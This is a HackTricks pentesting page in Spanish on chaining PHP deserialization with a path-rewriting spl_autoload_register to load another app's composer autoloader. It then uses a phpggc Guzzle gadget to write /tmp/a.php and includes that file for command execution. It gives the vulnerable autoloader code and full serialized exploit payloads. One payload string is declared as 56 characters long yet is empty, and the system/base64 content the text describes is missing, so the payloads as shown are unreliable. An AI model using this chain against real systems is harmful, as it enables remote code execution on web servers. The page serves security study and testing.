# PHP - Deserialización + Autoload de Clases
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
En primer lugar, debes comprobar qué son las [**Clases de Autocarga**](https://www.php.net/manual/en/language.oop5.autoload.php). ## PHP deserialización + spl\_autoload\_register + LFI/Gadget Nos encontramos en una situación en la que hemos encontrado una **deserialización de PHP en una aplicación web** sin ninguna biblioteca vulnerable a gadgets dentro de **`phpggc`**. Sin embargo, en el mismo contenedor había una **aplicación web de composer diferente con bibliotecas vulnerables**. Por lo tanto, el objetivo era **cargar el cargador de composer de la otra aplicación web** y abusar de él para **cargar un gadget que explotará esa biblioteca con un gadget** de la aplicación web vulnerable a la deserialización. Pasos: * Has encontrado una **deserialización** y **no hay ningún gadget** en el código de la aplicación actual. * Puedes abusar de una función **`spl_autoload_register`** como la siguiente para **cargar cualquier archivo local con extensión `.php`** * Para ello, utilizas una deserialización donde el nombre de la clase va a estar dentro de **`$name`**. No puedes usar "/" o "." en un nombre de clase en un objeto serializado, pero el **código** está **reemplazando** los **guiones bajos** ("\_") **por barras** ("/"). Por lo tanto, un nombre de clase como `tmp_passwd` se transformará en `/tmp/passwd.php` y el código intentará cargarlo.\ Un **ejemplo de gadget** sería: **`O:10:"tmp_passwd":0:{}`** ```php spl_autoload_register(function ($name) { if (preg_match('/Controller$/', $name)) { $name = "controllers/${name}"; } elseif (preg_match('/Model$/', $name)) { $name = "models/${name}"; } elseif (preg_match('/_/', $name)) { $name = preg_replace('/_/', '/', $name); } $filename = "/${name}.php"; if (file_exists($filename)) { require $filename; } elseif (file_exists(__DIR__ . $filename)) { require __DIR__ . $filename; } }); ``` {% hint style="success" %} Si tienes una **carga de archivo** y puedes cargar un archivo con extensión **`.php`**, podrías **abusar directamente de esta funcionalidad** y obtener RCE. {% endhint %} En mi caso, no tenía nada así, pero había dentro del **mismo contenedor** otra página web de composer con una **biblioteca vulnerable a un gadget `phpggc`**. * Para cargar esta otra biblioteca, primero necesitas **cargar el cargador de composer de esa otra aplicación web** (porque el de la aplicación actual no accederá a las bibliotecas de la otra). **Conociendo la ruta de la aplicación**, puedes lograr esto muy fácilmente con: **`O:28:"www_frontend_vendor_autoload":0:{}`** (En mi caso, el cargador de composer estaba en `/www/frontend/vendor/autoload.php`) * Ahora, puedes **cargar** el **cargador de composer de las otras aplicaciones**, así que es hora de **`generar el payload phpgcc`** para usar. En mi caso, usé **`Guzzle/FW1`**, lo que me permitió **escribir cualquier archivo dentro del sistema de archivos**. * NOTA: El **gadget generado no funcionaba**, para que funcionara **modifiqué** ese payload **`chain.php`** de phpggc y establecí **todos los atributos** de las clases **de privados a públicos**. Si no, después de deserializar la cadena, los atributos de los objetos creados no tenían ningún valor. * Ahora tenemos la forma de **cargar el cargador de composer de las otras aplicaciones** y tener un **payload phpggc que funciona**, pero necesitamos **hacer esto en la MISMA PETICIÓN para que el cargador se cargue cuando se use el gadget**. Para eso, envié un array serializado con ambos objetos como: * Puedes ver **primero el cargador siendo cargado y luego el payload** {% code overflow="wrap" %} ```php a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}} ``` {% endcode %} * Ahora, podemos **crear y escribir un archivo**, sin embargo, el usuario **no puede escribir en ninguna carpeta dentro del servidor web**. Entonces, como se puede ver en el payload, PHP llama a **`system`** con algún **base64** que se crea en **`/tmp/a.php`**. Luego, podemos **reutilizar el primer tipo de payload** que usamos como LFI para cargar el cargador de compositores de la otra aplicación web **para cargar el archivo generado `/tmp/a.php`**. Solo agréguelo al gadget de deserialización: {% code overflow="wrap" %} ```php a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}} ``` {% endcode %} **Resumen de la carga útil** * **Carga el autoload de composer** de una aplicación web diferente en el mismo contenedor. * **Carga un gadget phpggc** para abusar de una biblioteca de la otra aplicación web (la aplicación web inicial vulnerable a la deserialización no tenía ningún gadget en sus bibliotecas). * El gadget **creará un archivo con una carga útil de PHP** en /tmp/a.php con comandos maliciosos (el usuario de la aplicación web no puede escribir en ninguna carpeta de ninguna aplicación web). * La parte final de nuestra carga útil usará **cargar el archivo php generado** que ejecutará comandos. Necesité **llamar a esta deserialización dos veces**. En mis pruebas, la primera vez se creó el archivo `/tmp/a.php` pero no se cargó, y la segunda vez se cargó correctamente.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family). * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com). * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).